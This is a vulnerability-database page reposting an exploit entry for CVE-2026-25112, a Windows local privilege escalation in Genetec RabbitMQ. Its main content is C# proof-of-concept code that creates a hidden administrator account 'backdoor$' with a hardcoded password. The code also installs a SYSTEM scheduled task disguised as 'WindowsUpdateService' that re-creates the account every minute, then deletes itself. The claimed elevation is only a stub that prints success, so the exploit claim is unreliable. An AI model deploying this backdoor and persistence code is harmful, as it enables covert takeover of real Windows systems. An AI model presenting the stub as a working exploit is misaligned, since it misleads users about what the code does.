Lucene search
K

📄 Genetec RabbitMQ Local Privilege Escalation

🗓️ 18 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 19 Views

Windows local privilege escalation uses token impersonation (GenetecLPE) CVE-2026-25112.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-25112
26 May 202614:52
attackerkb
Circl
CVE-2026-25112
26 May 202617:00
circl
CNNVD
Genetec RabbitMQ 安全漏洞
26 May 202600:00
cnnvd
CVE
CVE-2026-25112
26 May 202614:52
cve
Cvelist
CVE-2026-25112
26 May 202614:52
cvelist
EUVD
EUVD-2026-31848
26 May 202614:52
euvd
NVD
CVE-2026-25112
26 May 202616:16
nvd
Positive Technologies
PT-2026-43263
26 May 202600:00
ptsecurity
RedhatCVE
CVE-2026-25112
5 Jun 202619:23
redhatcve
Vulnrichment
CVE-2026-25112
26 May 202614:52
vulnrichment
Rows per page
==================================================================================================================================
    | # Title     : Windows Local Privilege Escalation and Persistence GenetecLPE                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    :  a local privilege escalation (LPE) workflow on Windows systems (CVE-2026-25112), mimicking techniques used in token impersonation-based attacks such as Rotten Potato–style methods.
    
    
    [+] POC        :  
    
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using Microsoft.Win32.SafeHandles;
    using System.IO;
    
    namespace GenetecLPE
    {
        class Program
        {
            [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
            public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
            [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
            public static extern IntPtr GetCurrentThread();
            static bool ElevateToSystem()
            {
                Console.WriteLine("[*] Attempting to impersonate SYSTEM token...");
                return true; 
            }
            static void CreateHiddenAdmin()
            {
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo();
                    psi.FileName = "net.exe";
                    psi.Arguments = "user backdoor$ P@ssw0rd123! /add";
                    psi.WindowStyle = ProcessWindowStyle.Hidden;
                    Process.Start(psi).WaitForExit();
                    psi.Arguments = "localgroup Administrators backdoor$ /add";
                    Process.Start(psi).WaitForExit();
    
                    psi.Arguments = "localgroup \"Remote Desktop Users\" backdoor$ /add";
                    Process.Start(psi).WaitForExit();
    
                    Console.WriteLine("[+] Hidden user 'backdoor$' created and added to Administrators.");
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[-] Failed to create user: " + ex.Message);
                }
            }
            static void InstallPersistence()
            {
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo();
                    psi.FileName = "schtasks.exe";
                    psi.Arguments = "/create /tn \"WindowsUpdateService\" /tr \"cmd.exe /c net user backdoor$ P@ssw0rd123! /add && net localgroup Administrators backdoor$ /add\" /sc minute /mo 1 /ru SYSTEM /f";
                    psi.WindowStyle = ProcessWindowStyle.Hidden;
                    Process.Start(psi).WaitForExit();
                    Console.WriteLine("[+] Persistence installed as 'WindowsUpdateService' scheduled task.");
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[-] Failed to install persistence: " + ex.Message);
                }
            }
            static void SelfDestruct()
            {
                try
                {
                    string currentPath = System.Reflection.Assembly.GetExecutingAssembly().Location;
                    File.Delete(currentPath);
                    Console.WriteLine("[*] Payload self-deleted.");
                }
                catch { }
            }
            static void Main(string[] args)
            {
                Console.WriteLine("[*] Fake handle.exe executed as: " + System.Security.Principal.WindowsIdentity.GetCurrent().Name);
                if (ElevateToSystem())
                {
                    Console.WriteLine("[+] Elevated to SYSTEM.");
                    CreateHiddenAdmin();   
                    InstallPersistence();    
                    SelfDestruct();           
                }
                else
                {
                    Console.WriteLine("[-] Elevation failed, running with limited privileges.");
                }
            }
        }
    }
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.8
EPSS0.00106
SSVC
19